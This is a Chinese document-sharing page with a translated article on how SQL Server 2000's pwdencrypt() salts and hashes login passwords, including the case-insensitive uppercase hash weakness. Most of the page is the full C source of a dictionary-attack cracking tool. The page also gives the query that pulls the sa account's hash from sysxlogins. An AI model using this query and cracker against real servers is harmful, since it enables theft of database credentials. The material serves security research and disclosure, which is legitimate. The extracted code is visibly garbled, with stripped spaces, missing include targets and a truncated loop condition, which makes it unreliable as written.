SQL服务器是怎样储存密码的.docx

上传人:b****3 文档编号:10400271 上传时间:2023-05-25 格式:DOCX 页数:12 大小:18.83KB
下载 相关 举报
SQL服务器是怎样储存密码的.docx_第1页
第1页 / 共12页
SQL服务器是怎样储存密码的.docx_第2页
第2页 / 共12页
SQL服务器是怎样储存密码的.docx_第3页
第3页 / 共12页
SQL服务器是怎样储存密码的.docx_第4页
第4页 / 共12页
SQL服务器是怎样储存密码的.docx_第5页
第5页 / 共12页
SQL服务器是怎样储存密码的.docx_第6页
第6页 / 共12页
SQL服务器是怎样储存密码的.docx_第7页
第7页 / 共12页
SQL服务器是怎样储存密码的.docx_第8页
第8页 / 共12页
SQL服务器是怎样储存密码的.docx_第9页
第9页 / 共12页
SQL服务器是怎样储存密码的.docx_第10页
第10页 / 共12页
SQL服务器是怎样储存密码的.docx_第11页
第11页 / 共12页
SQL服务器是怎样储存密码的.docx_第12页
第12页 / 共12页
亲,该文档总共12页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

SQL服务器是怎样储存密码的.docx

《SQL服务器是怎样储存密码的.docx》由会员分享,可在线阅读,更多相关《SQL服务器是怎样储存密码的.docx(12页珍藏版)》请在冰点文库上搜索。

SQL服务器是怎样储存密码的.docx

SQL服务器是怎样储存密码的

SQL服务器是怎样储存密码的?

SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。

通过研究我们可以发

现这个hash储存在mater数据库的sysxlogins表里面。

这个可能已经是众所周知的事情了。

pwdencrypt()函数还没有公布详细的资料,我们这份文档将详细对这个函数进行讨论,并将指出sql

服务器储存hash的这种方法的一些不足之处。

实际上,等下我将会说‘密码hashes’。

(allyesno:

文会讨论到,由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个,所以是hashes)

SQL的密码hash看起来是怎样的呢?

我们使用查询分析器,或者任何一个SQL客户端来执行这条语句:

selectpasswordfrommaster.dbo.sysxloginswherename='sa'

屏幕会返回类似下面这行字符串的东东。

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA

954AFF4057056D9B

这是我机子上登录密码的hash。

通过分析hash我们可以从中获取pwdencrypt()的一些什么信息?

1.时间

首先我们使用查询selectpwdencrypt()来生成hash

selectpwdencrypt('ph4nt0m')

生成hash

0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D

4B8279BA19EFE77

ok再一次selectpwdencrypt('ph4nt0m')

0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB85

4FB343F3DBB106CFB

我们注意到,虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。

那么是什么使两次hash的结果不一样呢,我们大胆的推测是时间在这里面起到了关键的作用,

它是创建密码hashes和储存hashes的重要因素。

之所以使用这样的方式,

是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。

2.大小写

使用查询

selectpwdencrypt('ALLYESNO')

我们将得到hash

0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296

771E4C91

通过观察,我们可以发现这段hash中有两段是相同的,如果你不能马上看出来,让我们把它截断来

看。

0x0100(固定)

4C61CD2D(补充key)

D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)

D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)

现在我们可以看出来最后两组字符串是一模一样的了。

这说明这段密码被相同的加密方式进行了两次加密。

一组是按照字符原型进行加密,另一组是按照字符的大写形式进行了加密。

当有人尝试破解SQL密码的时候将会比他预期要容易,这是一个糟糕的加密方式。

因为破解密码的人不需要理会字符原型是大写还是小写,他们只需要破解大写字符就可以了。

这将大大减少了破解密码者所需要破解密码的字符数量。

(allyesno:

flashsky的文章《浅谈SQLSERVER数据库口令的脆弱性》中曾经提到“如因为其算法一样,如果HASH1=HASH2,就可以判断口令肯定是未使用字母,只使用了数字和符号的口令”。

实际上并不如flashsky所说的完全相同,我们使用了selectpwdencrypt()进行加密以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同,所以这是flashsky文章中一个小小的bug)

补充key

根据上文所述,当时间改变的时候也会使得hash改变,在hash中有一些跟时间有关系的信息使得密

码的hashes不相同,这些信息是很容易获取的。

当我们登录的时候依靠从登录密码中和数据库中储

存的hash信息,就可以做一个比较从而分析出这部分信息,我们可以把这部分信息叫做补充key。

上文中我们获取的hash中,补充key4C61CD2D就是这个信息的一部分。

这个key4C61CD2D由以下阐述的方法生成。

time()C函数被调用作为一个种子传递给srand()函数。

一旦srand()函数被作为rand()函数的种子

并且被调用生成伪随机key,srand()就会设置了一个起点产生一系列的(伪)随机key。

然后sql

服务器会将这个key截断取一部分,放置在内存里面。

我们叫它key1。

这个过程将会再运行一次并

生成另一个key我们叫他key2。

两个key连在一起就生成了我们用来加密密码的补充key。

密码的散列法

用户的密码会被转换成UNICODE形式。

补充key会添加到他们后面。

例如以下所示:

{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}

以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。

成两个hash

0x0100(固定)

4C61CD2D(补充key)

D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)

D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash)

验证过程

用户登录SQL服务器的验证过程是这样子的:

当用户登陆的时候,SQL服务器在数据库中调用上面例

子中的补充key4C61CD2D,将其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函数进行加

密。

然后把生成的hash跟数据库内的hash进行对比,以此来验证用户输入的密码是否正确。

SQL服务器密码破解

我们可以使用同样的方式去破解SQL的密码。

当然我们会首先选择使用大写字母和符号做为字典进行

破解,这比猜测小写字母要来得容易。

一个命令行的MSSQL服务器HASH破解工具源代码

/////////////////////////////////////////////////////////////////////////////////

//

//SQLCrackCl

//

//Thiswillperformadictionaryattackagainstthe

//upper-casedhashforapassword.Oncethis

//hasbeendiscoveredtryallcasevarianttowork

//outthecasesensitivepassword.

//

//ThiscodewaswrittenbyDavidLitchfieldto

//demonstratehowMicrosoftSQLServer2000

//passwordscanbeattacked.Thiscanbe

//optimizedconsiderablybynotusingtheCryptoAPI.

//

//(CompilewithVC++andlinkwithadvapi32.lib

//EnsurethePlatformSDKhasbeeninstalled,too!

//

//////////////////////////////////////////////////////////////////////////////////

#include

#include

#include

FILE*fd=NULL;

char*lerr="\nLengthError!

\n";

intwd=0;

intOpenPasswordFile(char*pwdfile);

intCrackPassword(char*hash);

intmain(intargc,char*argv[])

{

interr=0;

if(argc!

=3)

{

printf("\n\n***SQLCrack***\n\n");

printf("C:

\>%shashpasswd-file\n\n",argv[0]);

printf("DavidLitchfield(david@)\n");

printf("24thJune2002\n");

return0;

}

err=OpenPasswordFile(argv[2]);

if(err!

=0)

{

returnprintf("\nTherewasanerroropeningthepasswordfile%s\n",argv[2]);

}

err=CrackPassword(argv[1]);

fclose(fd);

printf("\n\n%d",wd);

return0;

}

intOpenPasswordFile(char*pwdfile)

{

fd=fopen(pwdfile,"r");

if(fd)

return0;

else

return1;

}

intCrackPassword(char*hash)

{

charphash[100]="";

charpheader[8]="";

charpkey[12]="";

charpnorm[44]="";

charpucase[44]="";

charpucfirst[8]="";

charwttf[44]="";

charuwttf[100]="";

char*wp=NULL;

char*ptr=NULL;

intcnt=0;

intcount=0;

unsignedintkey=0;

unsignedintt=0;

unsignedintaddress=0;

unsignedcharcmp=0;

unsignedcharx=0;

HCRYPTPROVhProv=0;

HCRYPTHASHhHash;

DWORDhl=100;

unsignedcharszhash[100]="";

intlen=0;

if(strlen(hash)!

=94)

{

returnprintf("\nThepasswordhashistooshort!

\n");

}

if(hash[0]==0x30&&(hash[1]=='x'||hash[1]=='X'))

{

hash=hash+2;

strncpy(pheader,hash,4);

printf("\nHeader\t\t:

%s",pheader);

if(strlen(pheader)!

=4)

returnprintf("%s",lerr);

hash=hash+4;

strncpy(pkey,hash,8);

printf("\nRandkey\t:

%s",pkey);

if(strlen(pkey)!

=8)

returnprintf("%s",lerr);

hash=hash+8;

strncpy(pnorm,hash,40);

printf("\nNormal\t\t:

%s",pnorm);

if(strlen(pnorm)!

=40)

returnprintf("%s",lerr);

hash=hash+40;

strncpy(pucase,hash,40);

printf("\nUpperCase\t:

%s",pucase);

if(strlen(pucase)!

=40)

returnprintf("%s",lerr);

strncpy(pucfirst,pucase,2);

sscanf(pucfirst,"%x",&cmp);

}

else

{

returnprintf("Thepasswordhashhasaninvalidformat!

\n");

}

printf("\n\nTrying...\n");

if(!

CryptAcquireContextW(&hProv,NULL,NULL,PROV_RSA_FULL,0))

{

if(GetLastError()==NTE_BAD_KEYSET)

{

//KeySetdoesnotexist.Socreateanewkeyset

if(!

CryptAcquireContext(&hProv,

NULL,

NULL,

PROV_RSA_FULL,

CRYPT_NEWKEYSET))

{

printf("FAILLLLLLL!

!

!

");

returnFALSE;

}

}

}

while

(1)

{

//getawordtotryfromthefile

ZeroMemory(wttf,44);

if(!

fgets(wttf,40,fd))

returnprintf("\nEndofpasswordfile.Didn'tfindthepassword.\n");

wd++;

len=strlen(wttf);

wttf[len-1]=0x00;

ZeroMemory(uwttf,84);

//ConvertthewordtoUNICODE

while(count

{

uwttf[cnt]=wttf[count];

cnt++;

uwttf[cnt]=0x00;

count++;

cnt++;

}

len--;

wp=&uwttf;

sscanf(pkey,"%x",&key);

cnt=cnt-2;

//Appendtherandomstufftotheendof

//theuppercaseunicodepassword

t=key>>24;

x=(unsignedchar)t;

uwttf[cnt]=x;

cnt++;

t=key<<8;

t=t>>24;

x=(unsignedchar)t;

uwttf[cnt]=x;

cnt++;

t=key<<16;

t=t>>24;

x=(unsignedchar)t;

uwttf[cnt]=x;

cnt++;

t=key<<24;

t=t>>24;

x=(unsignedchar)t;

uwttf[cnt]=x;

cnt++;

//Createthehash

if(!

CryptCreateHash(hProv,CALG_SHA,0,0,&hHash))

{

printf("Error%xduringCryptCreatHash!

\n",GetLastError());

return0;

}

if(!

CryptHashData(hHash,(BYTE*)uwttf,len*2+4,0))

{

printf("Error%xduringCryptHashData!

\n",GetLastError());

returnFALSE;

}

CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);

//Testthefirstbyteonly.Muchquicker.

if(szhash[0]==cmp)

{

//Iffirstbytematchestrytherest

ptr=pucase;

cnt=1;

while(cnt<20)

{

ptr=ptr+2;

strncpy(pucfirst,ptr,2);

sscanf(pucfirst,"%x",&cmp);

if(szhash[cnt]==cmp)

cnt++;

else

{

break;

}

}

if(cnt==20)

{

//We'vefoundthepassword

printf("\nAMATCH!

!

!

Passwordis%s\n",wttf);

return0;

}

}

count=0;

cnt=0;

}

return0;

}

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 工作范文 > 行政公文

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2